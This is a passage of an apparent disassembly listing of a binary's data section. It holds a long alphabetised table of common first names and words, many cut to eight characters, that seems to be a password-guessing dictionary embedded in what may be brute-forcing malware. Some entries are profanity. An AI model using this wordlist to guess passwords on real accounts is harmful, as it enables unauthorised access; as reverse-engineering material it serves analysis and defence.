align 10h aKermit db 'kermit',0 ; DATA XREF: .nsp0:00426A74o align 4 aKeri db 'keri',0 ; DATA XREF: .nsp0:00426A70o align 10h aKelly db 'kelly',0 ; DATA XREF: .nsp0:00426A6Co align 4 aKatrina db 'katrina',0 ; DATA XREF: .nsp0:00426A68o aKatina db 'katina',0 ; DATA XREF: .nsp0:00426A64o align 4 aKathy db 'kathy',0 ; DATA XREF: .nsp0:00426A60o align 10h aKathrine db 'kathrine',0 ; DATA XREF: .nsp0:00426A5Co align 4 aKathleen db 'kathleen',0 ; DATA XREF: .nsp0:00426A58o align 4 aKate db 'kate',0 ; DATA XREF: .nsp0:00426A54o align 10h aKatana db 'katana',0 ; DATA XREF: .nsp0:00426A50o align 4 aKarina db 'karina',0 ; DATA XREF: .nsp0:00426A4Co align 10h aKarie db 'karie',0 ; DATA XREF: .nsp0:00426A48o align 4 aKaren db 'karen',0 ; DATA XREF: .nsp0:00426A44o align 10h aKaka db 'kaka',0 ; DATA XREF: .nsp0:00426A40o align 4 aJupiter db 'jupiter',0 ; DATA XREF: .nsp0:00426A3Co aJune db 'june',0 ; DATA XREF: .nsp0:00426A38o align 4 aJuliet db 'juliet',0 ; DATA XREF: .nsp0:00426A34o align 10h aJulie db 'julie',0 ; DATA XREF: .nsp0:00426A30o align 4 aJulia db 'julia',0 ; DATA XREF: .nsp0:00426A2Co align 10h aJuicy db 'juicy',0 ; DATA XREF: .nsp0:00426A28o align 4 aJuggle db 'juggle',0 ; DATA XREF: .nsp0:00426A24o align 10h aJudy db 'judy',0 ; DATA XREF: .nsp0:00426A20o align 4 aJudith db 'judith',0 ; DATA XREF: .nsp0:00426A1Co align 10h aJoyce db 'joyce',0 ; DATA XREF: .nsp0:00426A18o align 4 aJournal db 'journal',0 ; DATA XREF: .nsp0:00426A14o aJoshua db 'joshua',0 ; DATA XREF: .nsp0:00426A10o align 4 aJoseph db 'joseph',0 ; DATA XREF: .nsp0:00426A0Co align 10h aJohnny db 'johnny',0 ; DATA XREF: .nsp0:00426A08o align 4 aJohndoe db 'johndoe',0 ; DATA XREF: .nsp0:00426A04o aJohn db 'john',0 ; DATA XREF: .nsp0:00426A00o align 4 aJody db 'jody',0 ; DATA XREF: .nsp0:004269FCo align 10h aJoanne db 'joanne',0 ; DATA XREF: .nsp0:004269F8o align 4 aJixian db 'jixian',0 ; DATA XREF: .nsp0:004269F4o align 10h aJill db 'jill',0 ; DATA XREF: .nsp0:004269F0o align 4 aJewelry db 'jewelry',0 ; DATA XREF: .nsp0:004269ECo aJester db 'jester',0 ; DATA XREF: .nsp0:004269E8o align 4 aJessica db 'jessica',0 ; DATA XREF: .nsp0:004269E4o aJerusale db 'jerusale',0 ; DATA XREF: .nsp0:004269E0o align 4 aJerry db 'jerry',0 ; DATA XREF: .nsp0:004269DCo align 4 aJenny db 'jenny',0 ; DATA XREF: .nsp0:004269D8o align 4 aJennifer db 'jennifer',0 ; DATA XREF: .nsp0:004269D4o align 4 aJenni db 'jenni',0 ; DATA XREF: .nsp0:004269D0o align 10h aJeff db 'jeff',0 ; DATA XREF: .nsp0:004269CCo align 4 aJeanne db 'jeanne',0 ; DATA XREF: .nsp0:004269C8o align 10h aJean db 'jean',0 ; DATA XREF: .nsp0:004269C4o align 4 aJazz db 'jazz',0 ; DATA XREF: .nsp0:004269C0o align 10h aJava db 'java',0 ; DATA XREF: .nsp0:004269BCo align 4 aJasmin db 'jasmin',0 ; DATA XREF: .nsp0:004269B8o align 10h aJapan db 'japan',0 ; DATA XREF: .nsp0:004269B4o align 4 aJanie db 'janie',0 ; DATA XREF: .nsp0:004269B0o align 10h aJanice db 'janice',0 ; DATA XREF: .nsp0:004269ACo align 4 aJanet db 'janet',0 ; DATA XREF: .nsp0:004269A8o align 10h aJane db 'jane',0 ; DATA XREF: .nsp0:004269A4o align 4 aJail db 'jail',0 ; DATA XREF: .nsp0:004269A0o align 10h aJackie db 'jackie',0 ; DATA XREF: .nsp0:0042699Co align 4 aIsis db 'isis',0 ; DATA XREF: .nsp0:00426998o align 10h aIrishman db 'irishman',0 ; DATA XREF: .nsp0:00426994o align 4 aIrene db 'irene',0 ; DATA XREF: .nsp0:00426990o align 4 aInvent db 'invent',0 ; DATA XREF: .nsp0:0042698Co align 4 aInteger db 'integer',0 ; DATA XREF: .nsp0:00426988o aInside db 'inside',0 ; DATA XREF: .nsp0:00426984o align 4 aInput db 'input',0 ; DATA XREF: .nsp0:00426980o align 4 aInnocuou db 'innocuou',0 ; DATA XREF: .nsp0:0042697Co align 10h aInna db 'inna',0 ; DATA XREF: .nsp0:00426978o align 4 aIngrid db 'ingrid',0 ; DATA XREF: .nsp0:00426974o align 10h aIngress db 'ingress',0 ; DATA XREF: .nsp0:00426970o aIngres db 'ingres',0 ; DATA XREF: .nsp0:0042696Co align 10h aIndians db 'indians',0 ; DATA XREF: .nsp0:00426968o aIndiana db 'indiana',0 ; DATA XREF: .nsp0:00426964o aIndian db 'indian',0 ; DATA XREF: .nsp0:00426960o align 4 aIndia db 'india',0 ; DATA XREF: .nsp0:0042695Co align 10h aInclude db 'include',0 ; DATA XREF: .nsp0:00426958o aImperial db 'imperial',0 ; DATA XREF: .nsp0:00426954o align 4 aImmortal db 'immortal',0 ; DATA XREF: .nsp0:00426950o align 10h aImbrogli db 'imbrogli',0 ; DATA XREF: .nsp0:0042694Co align 4 aImage db 'image',0 ; DATA XREF: .nsp0:00426948o align 4 aIllumina db 'illumina',0 ; DATA XREF: .nsp0:00426944o align 10h aIcecream db 'icecream',0 ; DATA XREF: .nsp0:00426940o align 4 aHypertxt db 'hypertxt',0 ; DATA XREF: .nsp0:0042693Co align 4 aHyper db 'hyper',0 ; DATA XREF: .nsp0:00426938o align 10h aHydrogen db 'hydrogen',0 ; DATA XREF: .nsp0:00426934o align 4 aHutchins db 'hutchins',0 ; DATA XREF: .nsp0:00426930o align 4 aHunter db 'hunter',0 ; DATA XREF: .nsp0:0042692Co align 10h aHunt db 'hunt',0 ; DATA XREF: .nsp0:00426928o align 4 aHttp db 'http',0 ; DATA XREF: .nsp0:00426924o align 10h aHotel db 'hotel',0 ; DATA XREF: .nsp0:00426920o align 4 aHotdog db 'hotdog',0 ; DATA XREF: .nsp0:0042691Co align 10h aHost db 'host',0 ; DATA XREF: .nsp0:00426918o align 4 aHorus db 'horus',0 ; DATA XREF: .nsp0:00426914o align 10h aHorse db 'horse',0 ; DATA XREF: .nsp0:00426910o align 4 aHorror db 'horror',0 ; DATA XREF: .nsp0:0042690Co align 10h aHorrible db 'horrible',0 ; DATA XREF: .nsp0:00426908o align 4 aHorny db 'horny',0 ; DATA XREF: .nsp0:00426904o align 4 aHooters db 'hooters',0 ; DATA XREF: .nsp0:00426900o aHooker db 'hooker',0 ; DATA XREF: .nsp0:004268FCo align 4 aHoney db 'honey',0 ; DATA XREF: .nsp0:004268F8o align 4 aHomework db 'homework',0 ; DATA XREF: .nsp0:004268F4o align 4 aHomer db 'homer',0 ; DATA XREF: .nsp0:004268F0o align 10h aHomepage db 'homepage',0 ; DATA XREF: .nsp0:004268ECo align 4 aHollywoo db 'hollywoo',0 ; DATA XREF: .nsp0:004268E8o align 4 aHolly db 'holly',0 ; DATA XREF: .nsp0:004268E4o align 10h aHole db 'hole',0 ; DATA XREF: .nsp0:004268E0o align 4 aHits db 'hits',0 ; DATA XREF: .nsp0:004268DCo align 10h aHitler db 'hitler',0 ; DATA XREF: .nsp0:004268D8o align 4 aHighland db 'highland',0 ; DATA XREF: .nsp0:004268D4o align 4 aHigh db 'high',0 ; DATA XREF: .nsp0:004268D0o align 4 aHidden db 'hidden',0 ; DATA XREF: .nsp0:004268CCo align 4 aHibernia db 'hibernia',0 ; DATA XREF: .nsp0:004268C8o align 10h aHiawatha db 'hiawatha',0 ; DATA XREF: .nsp0:004268C4o align 4 aHexadeci db 'hexadeci',0 ; DATA XREF: .nsp0:004268C0o align 4 aHewlett db 'hewlett',0 ; DATA XREF: .nsp0:004268BCo aHeroin db 'heroin',0 ; DATA XREF: .nsp0:004268B8o align 4 aHero db 'hero',0 ; DATA XREF: .nsp0:004268B4o align 10h aHerbert db 'herbert',0 ; DATA XREF: .nsp0:004268B0o aHerb db 'herb',0 ; DATA XREF: .nsp0:004268ACo align 10h aHelp db 'help',0 ; DATA XREF: .nsp0:004268A8o align 4 aHello db 'hello',0 ; DATA XREF: .nsp0:004268A4o align 10h aHell db 'hell',0 ; DATA XREF: .nsp0:004268A0o align 4 aHeinlein db 'heinlein',0 ; DATA XREF: .nsp0:0042689Co align 4 aHeidi db 'heidi',0 ; DATA XREF: .nsp0:00426898o align 4 aHebrides db 'hebrides',0 ; DATA XREF: .nsp0:00426894o align 4 aHeather db 'heather',0 ; DATA XREF: .nsp0:00426890o aHeathen db 'heathen',0 ; DATA XREF: .nsp0:0042688Co aHeat db 'heat',0 ; DATA XREF: .nsp0:00426888o align 10h aHeadbang db 'headbang',0 ; DATA XREF: .nsp0:00426884o align 4 aHead db 'head',0 ; DATA XREF: .nsp0:00426880o align 4 aHawaii db 'hawaii',0 ; DATA XREF: .nsp0:0042687Co align 4 aHaven db 'haven',0 ; DATA XREF: .nsp0:00426878o align 4 aHate db 'hate',0 ; DATA XREF: .nsp0:00426874o align 4 aHarvey db 'harvey',0 ; DATA XREF: .nsp0:00426870o align 4 aHarold db 'harold',0 ; DATA XREF: .nsp0:0042686Co align 4 aHarmony db 'harmony',0 ; DATA XREF: .nsp0:00426868o aHarddriv db 'harddriv',0 ; DATA XREF: .nsp0:00426864o align 10h aHardcore db 'hardcore',0 ; DATA XREF: .nsp0:00426860o align 4 aHard db 'hard',0 ; DATA XREF: .nsp0:0042685Co align 4 aHappenin db 'happenin',0 ; DATA XREF: .nsp0:00426858o align 10h aHandjob db 'handjob',0 ; DATA XREF: .nsp0:00426854o aHandily db 'handily',0 ; DATA XREF: .nsp0:00426850o aHandel db 'handel',0 ; DATA XREF: .nsp0:0042684Co align 4 aHamster db 'hamster',0 ; DATA XREF: .nsp0:00426848o aHamlet db 'hamlet',0 ; DATA XREF: .nsp0:00426844o align 4 aHallowee db 'hallowee',0 ; DATA XREF: .nsp0:00426840o align 4 aHair db 'hair',0 ; DATA XREF: .nsp0:0042683Co align 4 aHagar db 'hagar',0 ; DATA XREF: .nsp0:00426838o align 4 aHacked db 'hacked',0 ; DATA XREF: .nsp0:00426834o align 4 aHack db 'hack',0 ; DATA XREF: .nsp0:00426830o align 4 aGuntis db 'guntis',0 ; DATA XREF: .nsp0:0042682Co align 4 aGumption db 'gumption',0 ; DATA XREF: .nsp0:00426828o align 4 aGuitar db 'guitar',0 ; DATA XREF: .nsp0:00426824o align 10h aGuess db 'guess',0 ; DATA XREF: .nsp0:00426820o align 4 aGucci db 'gucci',0 ; DATA XREF: .nsp0:0042681Co align 10h aGuardian db 'guardian',0 ; DATA XREF: .nsp0:00426818o align 4 aGryphon db 'gryphon',0 ; DATA XREF: .nsp0:00426814o aGroup db 'group',0 ; DATA XREF: .nsp0:00426810o align 4 aGreen db 'green',0 ; DATA XREF: .nsp0:0042680Co align 4 aGreat db 'great',0 ; DATA XREF: .nsp0:00426808o align 4 aGrant db 'grant',0 ; DATA XREF: .nsp0:00426804o align 4 aGrand db 'grand',0 ; DATA XREF: .nsp0:00426800o align 4 aGrahm db 'grahm',0 ; DATA XREF: .nsp0:004267FCo align 4 aGraham db 'graham',0 ; DATA XREF: .nsp0:004267F8o align 4 aGrades db 'grades',0 ; DATA XREF: .nsp0:004267F4o align 4 aGovermen db 'govermen',0 ; DATA XREF: .nsp0:004267F0o align 10h aGouge db 'gouge',0 ; DATA XREF: .nsp0:004267ECo align 4 aGosling db 'gosling',0 ; DATA XREF: .nsp0:004267E8o aGorges db 'gorges',0 ; DATA XREF: .nsp0:004267E4o align 4 aGorgeous db 'gorgeous',0 ; DATA XREF: .nsp0:004267E0o align 4 aGood db 'good',0 ; DATA XREF: .nsp0:004267DCo align 4 aGolfer db 'golfer',0 ; DATA XREF: .nsp0:004267D8o align 4 aGolf db 'golf',0 ; DATA XREF: .nsp0:004267D4o align 4 aGolden db 'golden',0 ; DATA XREF: .nsp0:004267D0o align 4 aGold db 'gold',0 ; DATA XREF: .nsp0:004267CCo align 4 aGlacier db 'glacier',0 ; DATA XREF: .nsp0:004267C8o aGirl db 'girl',0 ; DATA XREF: .nsp0:004267C4o align 4 aGinger db 'ginger',0 ; DATA XREF: .nsp0:004267C0o align 4 aGina db 'gina',0 ; DATA XREF: .nsp0:004267BCo align 4 aGigabyte db 'gigabyte',0 ; DATA XREF: .nsp0:004267B8o align 4 aGibson db 'gibson',0 ; DATA XREF: .nsp0:004267B4o align 10h aGhost db 'ghost',0 ; DATA XREF: .nsp0:004267B0o align 4 aGertrude db 'gertrude',0 ; DATA XREF: .nsp0:004267ACo align 4 aGerm db 'germ',0 ; DATA XREF: .nsp0:004267A8o align 4 aGeorge db 'george',0 ; DATA XREF: .nsp0:004267A4o align 4 aGauss db 'gauss',0 ; DATA XREF: .nsp0:004267A0o align 4 aGatt db 'gatt',0 ; DATA XREF: .nsp0:0042679Co align 4 aGatherin db 'gatherin',0 ; DATA XREF: .nsp0:00426798o align 10h aGateway db 'gateway',0 ; DATA XREF: .nsp0:00426794o aGarfield db 'garfield',0 ; DATA XREF: .nsp0:00426790o align 4 aGardner db 'gardner',0 ; DATA XREF: .nsp0:0042678Co aGames db 'games',0 ; DATA XREF: .nsp0:00426788o align 4 aGabriel db 'gabriel',0 ; DATA XREF: .nsp0:00426784o aFungible db 'fungible',0 ; DATA XREF: .nsp0:00426780o align 4 aFunction db 'function',0 ; DATA XREF: .nsp0:0042677Co align 4 aFudge db 'fudge',0 ; DATA XREF: .nsp0:00426778o align 4 aFuckyou db 'fuckyou',0 ; DATA XREF: .nsp0:00426774o aFuckme db 'fuckme',0 ; DATA XREF: .nsp0:00426770o align 4 aFucking db 'fucking',0 ; DATA XREF: .nsp0:0042676Co aFucker db 'fucker',0 ; DATA XREF: .nsp0:00426768o align 4 aFuck db 'fuck',0 ; DATA XREF: .nsp0:00426764o align 4 aFryguy db 'fryguy',0 ; DATA XREF: .nsp0:00426760o align 4 aFrog db 'frog',0 ; DATA XREF: .nsp0:0042675Co align 4 aFrighten db 'frighten',0 ; DATA XREF: .nsp0:00426758o align 10h aFriends db 'friends',0 ; DATA XREF: .nsp0:00426754o aFriend db 'friend',0 ; DATA XREF: .nsp0:00426750o align 10h aFriday db 'friday',0 ; DATA XREF: .nsp0:0042674Co align 4 aFrench db 'french',0 ; DATA XREF: .nsp0:00426748o align 10h aFreedom db 'freedom',0 ; DATA XREF: .nsp0:00426744o aFree db 'free',0 ; DATA XREF: .nsp0:00426740o align 10h aFred db 'fred',0 ; DATA XREF: .nsp0:0042673Co align 4 aFreak db 'freak',0 ; DATA XREF: .nsp0:00426738o align 10h aFrank db 'frank',0 ; DATA XREF: .nsp0:00426734o align 4 aFrance db 'france',0 ; DATA XREF: .nsp0:00426730o align 10h aFoxtrot db 'foxtrot',0 ; DATA XREF: .nsp0:0042672Co aFourier db 'fourier',0 ; DATA XREF: .nsp0:00426728o aForsythe db 'forsythe',0 ; DATA XREF: .nsp0:00426724o align 4 aFornicat db 'fornicat',0 ; DATA XREF: .nsp0:00426720o align 4 aFormat db 'format',0 ; DATA XREF: .nsp0:0042671Co align 10h aForm db 'form',0 ; DATA XREF: .nsp0:00426718o align 4 aForever db 'forever',0 ; DATA XREF: .nsp0:00426714o aForesigh db 'foresigh',0 ; DATA XREF: .nsp0:00426710o align 4 aFord db 'ford',0 ; DATA XREF: .nsp0:0042670Co align 4 aForce db 'force',0 ; DATA XREF: .nsp0:00426708o align 4 aFootball db 'football',0 ; DATA XREF: .nsp0:00426704o align 4 aFoolproo db 'foolproo',0 ; DATA XREF: .nsp0:00426700o align 4 aFool db 'fool',0 ; DATA XREF: .nsp0:004266FCo align 4 aFood db 'food',0 ; DATA XREF: .nsp0:004266F8o align 4 aFlowers db 'flowers',0 ; DATA XREF: .nsp0:004266F4o aFlower db 'flower',0 ; DATA XREF: .nsp0:004266F0o align 4 aFlorida db 'florida',0 ; DATA XREF: .nsp0:004266ECo aFloat db 'float',0 ; DATA XREF: .nsp0:004266E8o align 4 aFlakes db 'flakes',0 ; DATA XREF: .nsp0:004266E4o align 4 aFishers db 'fishers',0 ; DATA XREF: .nsp0:004266E0o aFirewall db 'firewall',0 ; DATA XREF: .nsp0:004266DCo align 10h aFire db 'fire',0 ; DATA XREF: .nsp0:004266D8o align 4 aFinite db 'finite',0 ; DATA XREF: .nsp0:004266D4o align 10h aFile db 'file',0 ; DATA XREF: .nsp0:0040BC98o ; .nsp0:0040BD03o ... align 4 aFight db 'fight',0 ; DATA XREF: .nsp0:004266CCo align 10h aField db 'field',0 ; DATA XREF: .nsp0:004266C8o align 4 aFidelity db 'fidelity',0 ; DATA XREF: .nsp0:004266C4o align 4 aFerrari db 'ferrari',0 ; DATA XREF: .nsp0:004266C0o aFermat db 'fermat',0 ; DATA XREF: .nsp0:004266BCo align 4 aFender db 'fender',0 ; DATA XREF: .nsp0:004266B8o align 4 aFelicia db 'felicia',0 ; DATA XREF: .nsp0:004266B4o aFeds db 'feds',0 ; DATA XREF: .nsp0:004266B0o align 4 aFear db 'fear',0 ; DATA XREF: .nsp0:004266ACo align 4 aFast db 'fast',0 ; DATA XREF: .nsp0:004266A8o align 4 aFart db 'fart',0 ; DATA XREF: .nsp0:004266A4o align 4 aFaraday db 'faraday',0 ; DATA XREF: .nsp0:004266A0o aFarad db 'farad',0 ; DATA XREF: .nsp0:0042669Co align 4 aFamily db 'family',0 ; DATA XREF: .nsp0:00426698o align 4 aFalse db 'false',0 ; DATA XREF: .nsp0:00426694o align 4 aFalcon db 'falcon',0 ; DATA XREF: .nsp0:00426690o align 4 aFaith db 'faith',0 ; DATA XREF: .nsp0:0042668Co align 4 aFairway db 'fairway',0 ; DATA XREF: .nsp0:00426688o aExtensio db 'extensio',0 ; DATA XREF: .nsp0:00426684o align 4 aExplosiv db 'explosiv',0 ; DATA XREF: .nsp0:00426680o align 4 aExplorer db 'explorer',0 ; DATA XREF: .nsp0:0042667Co align 10h aExplore db 'explore',0 ; DATA XREF: .nsp0:00426678o aExplode db 'explode',0 ; DATA XREF: .nsp0:00426674o aExpert db 'expert',0 ; DATA XREF: .nsp0:00426670o align 4 aEvelyn db 'evelyn',0 ; DATA XREF: .nsp0:0042666Co align 10h aEuclid db 'euclid',0 ; DATA XREF: .nsp0:00426668o align 4 aEternity db 'eternity',0 ; DATA XREF: .nsp0:00426664o align 4 aEstate db 'estate',0 ; DATA XREF: .nsp0:00426660o align 4 aEstablis db 'establis',0 ; DATA XREF: .nsp0:0042665Co align 4 aErsatz db 'ersatz',0 ; DATA XREF: .nsp0:00426658o align 10h aErotic db 'erotic',0 ; DATA XREF: .nsp0:00426654o align 4 aErin db 'erin',0 ; DATA XREF: .nsp0:00426650o align 10h aErika db 'erika',0 ; DATA XREF: .nsp0:0042664Co align 4 aErica db 'erica',0 ; DATA XREF: .nsp0:00426648o align 10h aEric db 'eric',0 ; DATA XREF: .nsp0:00426644o align 4 aErenity db 'erenity',0 ; DATA XREF: .nsp0:00426640o aEnzyme db 'enzyme',0 ; DATA XREF: .nsp0:0042663Co align 4 aEnterpri db 'enterpri',0 ; DATA XREF: .nsp0:00426638o align 4 aEnter db 'enter',0 ; DATA XREF: .nsp0:00426634o align 4 aEnglish db 'english',0 ; DATA XREF: .nsp0:00426630o aEngland db 'england',0 ; DATA XREF: .nsp0:0042662Co aEngineer db 'engineer',0 ; DATA XREF: .nsp0:00426628o align 4 aEngine db 'engine',0 ; DATA XREF: .nsp0:00426624o align 10h aEnemy db 'enemy',0 ; DATA XREF: .nsp0:00426620o align 4 aEmmanuel db 'emmanuel',0 ; DATA XREF: .nsp0:0042661Co align 4 aEmily db 'emily',0 ; DATA XREF: .nsp0:00426618o align 4 aEmerald db 'emerald',0 ; DATA XREF: .nsp0:00426614o aEmail db 'email',0 ; DATA XREF: .nsp0:00426610o align 4 aEllen db 'ellen',0 ; DATA XREF: .nsp0:0042660Co align 4 aElizabet db 'elizabet',0 ; DATA XREF: .nsp0:00426608o align 10h aElephant db 'elephant',0 ; DATA XREF: .nsp0:00426604o align 4 aElectron db 'electron',0 ; DATA XREF: .nsp0:00426600o align 4 aElanor db 'elanor',0 ; DATA XREF: .nsp0:004265FCo align 10h aElaine db 'elaine',0 ; DATA XREF: .nsp0:004265F8o align 4 aEinstein db 'einstein',0 ; DATA XREF: .nsp0:004265F4o align 4 aEinsiein db 'einsiein',0 ; DATA XREF: .nsp0:004265F0o align 10h aEileen db 'eileen',0 ; DATA XREF: .nsp0:004265ECo align 4 aEiderdow db 'eiderdow',0 ; DATA XREF: .nsp0:004265E8o align 4 aEgghead db 'egghead',0 ; DATA XREF: .nsp0:004265E4o aEdwina db 'edwina',0 ; DATA XREF: .nsp0:004265E0o align 4 aEdwin db 'edwin',0 ; DATA XREF: .nsp0:004265DCo align 4 aEducatio db 'educatio',0 ; DATA XREF: .nsp0:004265D8o align 4 aEducation db 'education',0 ; DATA XREF: .nsp0:004265D4o align 4 aEdition db 'edition',0 ; DATA XREF: .nsp0:004265D0o aEdit db 'edit',0 ; DATA XREF: .nsp0:004265CCo align 4 aEdinburg db 'edinburg',0 ; DATA XREF: .nsp0:004265C8o align 10h aEdges db 'edges',0 ; DATA XREF: .nsp0:004265C4o align 4 aEddie db 'eddie',0 ; DATA XREF: .nsp0:004265C0o align 10h aEcho db 'echo',0 ; DATA XREF: .nsp0:004265BCo align 4 aEatme db 'eatme',0 ; DATA XREF: .nsp0:004265B8o align 10h aEasy db 'easy',0 ; DATA XREF: .nsp0:004265B4o align 4 aEasier db 'easier',0 ; DATA XREF: .nsp0:004265B0o align 10h aEarth db 'earth',0 ; DATA XREF: .nsp0:004265ACo align 4 aEagle db 'eagle',0 ; DATA XREF: .nsp0:004265A8o align 10h aEager db 'eager',0 ; DATA XREF: .nsp0:004265A4o align 4 aDyke db 'dyke',0 ; DATA XREF: .nsp0:004265A0o align 10h aDungeon db 'dungeon',0 ; DATA XREF: .nsp0:0042659Co aDuncan db 'duncan',0 ; DATA XREF: .nsp0:00426598o align 10h aDulce db 'dulce',0 ; DATA XREF: .nsp0:00426594o align 4 aDuke db 'duke',0 ; DATA XREF: .nsp0:00426590o align 10h aDuelist db 'duelist',0 ; DATA XREF: .nsp0:0042658Co aDude db 'dude',0 ; DATA XREF: .nsp0:00426588o align 10h aDuck db 'duck',0 ; DATA XREF: .nsp0:00426584o align 4 aDrought db 'drought',0 ; DATA XREF: .nsp0:00426580o aDrive db 'drive',0 ; DATA XREF: .nsp0:0042657Co align 4 aDrdoom db 'drdoom',0 ; DATA XREF: .nsp0:00426578o align 10h aDragon db 'dragon',0 ; DATA XREF: .nsp0:00426574o align 4 aDownload db 'download',0 ; DATA XREF: .nsp0:00426570o align 4 aDope db 'dope',0 ; DATA XREF: .nsp0:0042656Co align 4 aDoors db 'doors',0 ; DATA XREF: .nsp0:00426568o align 4 aDoor db 'door',0 ; DATA XREF: .nsp0:00426564o align 4 aDoonesbu db 'doonesbu',0 ; DATA XREF: .nsp0:00426560o align 4 aDoomsday db 'doomsday',0 ; DATA XREF: .nsp0:0042655Co align 4 aDoomii db 'doomii',0 ; DATA XREF: .nsp0:00426558o align 4 aDoom2 db 'doom2',0 ; DATA XREF: .nsp0:00426554o align 4 aDoom db 'doom',0 ; DATA XREF: .nsp0:00426550o align 4 aDong db 'dong',0 ; DATA XREF: .nsp0:0042654Co align 4 aDollar db 'dollar',0 ; DATA XREF: .nsp0:00426548o align 4 aDoctor db 'doctor',0 ; DATA XREF: .nsp0:00426544o align 4 aDisplay db 'display',0 ; DATA XREF: .nsp0:00426540o aDisney db 'disney',0 ; DATA XREF: .nsp0:0042653Co align 4 aDiskette db 'diskette',0 ; DATA XREF: .nsp0:00426538o align 10h aDisk_0 db 'disk',0 ; DATA XREF: .nsp0:00426534o align 4 aDiscover db 'discover',0 ; DATA XREF: .nsp0:00426530o align 4 aDisclose db 'disclose',0 ; DATA XREF: .nsp0:0042652Co align 10h aDiscipli db 'discipli',0 ; DATA XREF: .nsp0:00426528o align 4 aDisc db 'disc',0 ; DATA XREF: .nsp0:00426524o align 4 aDirty db 'dirty',0 ; DATA XREF: .nsp0:00426520o align 4 aDirector db 'director',0 ; DATA XREF: .nsp0:0042651Co align 4 aDirect db 'direct',0 ; DATA XREF: .nsp0:00426518o align 10h aDipshit db 'dipshit',0 ; DATA XREF: .nsp0:00426514o aDinosaur db 'dinosaur',0 ; DATA XREF: .nsp0:00426510o align 4 aDigital db 'digital',0 ; DATA XREF: .nsp0:0042650Co aDieter db 'dieter',0 ; DATA XREF: .nsp0:00426508o align 4 aDiet db 'diet',0 ; DATA XREF: .nsp0:00426504o align 4 aDiehard db 'diehard',0 ; DATA XREF: .nsp0:00426500o aDick db 'dick',0 ; DATA XREF: .nsp0:004264FCo align 4 aDice db 'dice',0 ; DATA XREF: .nsp0:004264F8o align 4 aDiane db 'diane',0 ; DATA XREF: .nsp0:004264F4o align 4 aDiana db 'diana',0 ; DATA XREF: .nsp0:004264F0o align 4 aDiamond db 'diamond',0 ; DATA XREF: .nsp0:004264ECo aDial db 'dial',0 ; DATA XREF: .nsp0:004264E8o align 4 aDevice db 'device',0 ; DATA XREF: .nsp0:004264E4o align 4 aDevelop db 'develop',0 ; DATA XREF: .nsp0:004264E0o aDesperat db 'desperat',0 ; DATA XREF: .nsp0:004264DCo align 10h aDesktop db 'desktop',0 ; DATA XREF: .nsp0:004264D8o aDesk db 'desk',0 ; DATA XREF: .nsp0:004264D4o align 10h aDesiree db 'desiree',0 ; DATA XREF: .nsp0:004264D0o aDennis db 'dennis',0 ; DATA XREF: .nsp0:004264CCo align 10h aDenise db 'denise',0 ; DATA XREF: .nsp0:004264C8o align 4 aDemocrat db 'democrat',0 ; DATA XREF: .nsp0:004264C4o align 4 aDeluge db 'deluge',0 ; DATA XREF: .nsp0:004264C0o align 4 aDelta db 'delta',0 ; DATA XREF: .nsp0:004264BCo align 4 aDefoe db 'defoe',0 ; DATA XREF: .nsp0:004264B8o align 4 aDefault db 'DEFAULT',0 ; DATA XREF: .nsp0:004264B4o aDeck db 'deck',0 align 4 aDecember db 'december',0 align 4 aDebug db 'debug',0 align 10h aDeborah db 'deborah',0 aDebbie db 'debbie',0 align 10h aDeathsta db 'deathsta',0 align 4 aDead db 'dead',0 align 4 aDawn db 'dawn',0 align 4 aDave db 'dave',0 align 4 aData db 'data',0 align 4 aDarkaven db 'darkaven',0 align 4 aDark db 'dark',0 align 10h aDapper db 'dapper',0 align 4 aDanny db 'danny',0 align 10h aDanielle db 'danielle',0 align 4 aDaniel db 'daniel',0 align 4 aDancer db 'dancer',0 align 4 aDana db 'dana',0 align 4 aDaisy db 'daisy',0 align 4 aDaemon db 'daemon',0 align 4 aCynthia db 'cynthia',0 aCyberspa db 'cyberspa',0 align 4 aCyberpun db 'cyberpun',0 align 4 aCyber db 'cyber',0 align 4 aCustomer db 'customer',0 align 4 aCunt db 'cunt',0 align 10h aCshrc db 'cshrc',0 align 4 aCrystal db 'crystal',0 aCristina db 'cristina',0 align 4 aCriminal db 'criminal',0 align 4 aCrime db 'crime',0 align 10h aCretin db 'cretin',0 align 4 aCreosote db 'creosote',0 align 4 aCredit db 'credit',0 align 4 aCreature db 'creature',0 align 4 aCreation db 'creation',0 align 4 aCreate db 'create',0 align 4 aCream db 'cream',0 align 4 aCrackpot db 'crackpot',0 align 10h aCrack db 'crack',0 align 4 aCowboy db 'cowboy',0 align 10h aCouscous db 'couscous',0 align 4 aCountry db 'country',0 aCounters db 'counters',0 align 10h aCorrect db 'correct',0 aCorneliu db 'corneliu',0 align 4 aCopy db 'copy',0 align 4 aCops db 'cops',0 align 4 aCopper db 'copper',0 align 4 aCooper db 'cooper',0 align 4 aCool db 'cool',0 align 4 aCookie db 'cookie',0 align 4 aCookbook db 'cookbook',0 align 10h aCook db 'cook',0 align 4 aContinue db 'continue',0 ; DATA XREF: .nsp0:0040BED6o align 4 aConsole db 'console',0 aConserva db 'conserva',0 align 4 aConnie db 'connie',0 align 10h aCondom db 'condom',0 align 4 aCondo db 'condo',0 align 10h aComrades db 'comrades',0 align 4 aComrade db 'comrade',0 aComputin db 'computin',0 align 10h aCompany db 'company',0 aCommrade db 'commrade',0 align 4 aCommit db 'commit',0 align 4 aComics db 'comics',0 align 4 aCombat db 'combat',0 align 4 aColor db 'color',0 align 4 aCollins db 'collins',0 aCold db 'cold',0 align 4 aCola db 'cola',0 align 4 aCoke db 'coke',0 align 4 aCoin db 'coin',0 align 4 aCoffee db 'coffee',0 align 4 aCodeword db 'codeword',0 align 10h aCodename db 'codename',0 align 4 aCode db 'code',0 align 4 aCock db 'cock',0 align 4 aCocainco db 'cocainco',0 align 4 aCocacola db 'cocacola',0 align 4 aCoast db 'coast',0 align 4 aClusters db 'clusters',0 align 4 aCluster db 'cluster',0 aClinton db 'clinton',0 aCleavage db 'cleavage',0 align 4 aClaymore db 'claymore',0 align 10h aClaudia db 'claudia',0 aClassic db 'classic',0 aClasses db 'classes',0 aClass db 'class',0 align 10h aCindy db 'cindy',0 align 4 aCigarett db 'cigarett',0 align 4 aCigar db 'cigar',0 align 4 aChristy db 'christy',0 aChristin db 'christin',0 align 10h aChris db 'chris',0 align 4 aChip db 'chip',0 align 10h aChester db 'chester',0 aChess db 'chess',0 align 10h aChemistr db 'chemistr',0 align 4 aChem db 'chem',0 align 4 aChat db 'chat',0 align 4 aCharon db 'charon',0 align 4 aCharming db 'charming',0 align 10h aCharlie db 'charlie',0 aCharles db 